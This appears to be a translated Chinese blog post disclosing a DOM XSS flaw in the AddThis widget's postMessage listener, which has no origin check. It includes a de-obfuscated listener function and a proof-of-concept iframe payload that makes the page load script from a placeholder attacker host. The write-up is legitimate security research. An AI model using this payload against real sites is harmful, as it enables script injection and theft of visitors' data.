前言
反混淆
在测试一个使用AddThis的网站的时候,通过Chrome的开发者工具,我发现它使用了PostMessage
我在Chrome开发者工具的listener中设置了一个断点,然后发送了一个消息“window.postMessage("hello", "*")“。用来检测是否存在漏洞
检查listener代码除了使用HTTP和HTTPS的页面以外并没有进行orgin检查。消息的预期格式参见代码第5364行:
at-share-bookmarklet:DATA.继续调试,然后发送正确格式的消息,使得代码最终在5370行调用了“r”函数。而“ r”函数调用另一个名为“ s”的函数:
S函数创建了一个新的元素(DOM XSS?)
反混淆
为了理解这个函数到底干了什么,我通过命名变量和删除多行语句来反混淆:
e.exports = function(messageData, t, n, s, u, isTrue) { if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called. var scriptTag = document.createElement("script"); if("https:" === window.location.protocol){ var isSecurePage = true; }else{ var isSecurePage = false; } var protocol = ""; var headElement = document.getElementsByTagName("head")[0]; scriptTag.setAttribute("type", "text/javascript"); scriptTag.setAttribute("async", "async"); //Check if user is using Chrome/Safari if(window.chrome && window.chrome.self || window.safari && window.safari.extension){ if(isSecurePage){ protocol = "https"; }else{ protocol = "http"; } //If the message data starts with "//", add protocol before if(0 === messageData.indexOf("//")){ messageData = protocol + messageData; } } //If the message data starts with "//" if(0 === messageData.indexOf("//")){ scriptTag.src = messageData; }else{ scriptTag.src = protocol + "//s7.addthis.com/" + messageData; } headElement.insertBefore(scriptTag, headElement.firstChild); o[messageData] = 1; return scriptTag; } return 1; }最终得到发送格式如下的消息:
at-share-bookmarklet://ATTACKERHOST/xss.js它会添加一个新的脚本元素到“//ATTACKERDOMAIN/xss.js”的页面。也就是说存在DOM XSS漏洞。
PoC攻击者能够攻击任何使用了AddThis的网站(DOM XSS)。Exploit如下:
<iframe id="frame" src="https://targetpage/using_addthis"></iframe> <script> document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*'); </script> 总结这个漏洞是出自于框架中,所以所有调用PostMessage开发的应用都将受到这个漏洞的影响。PostMessage经常是导致DOM XSS漏洞的源头。如果你使用了第三方脚本,一定要检查它们的PostMessage实现。
参考PostMessage
API的缺陷: https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/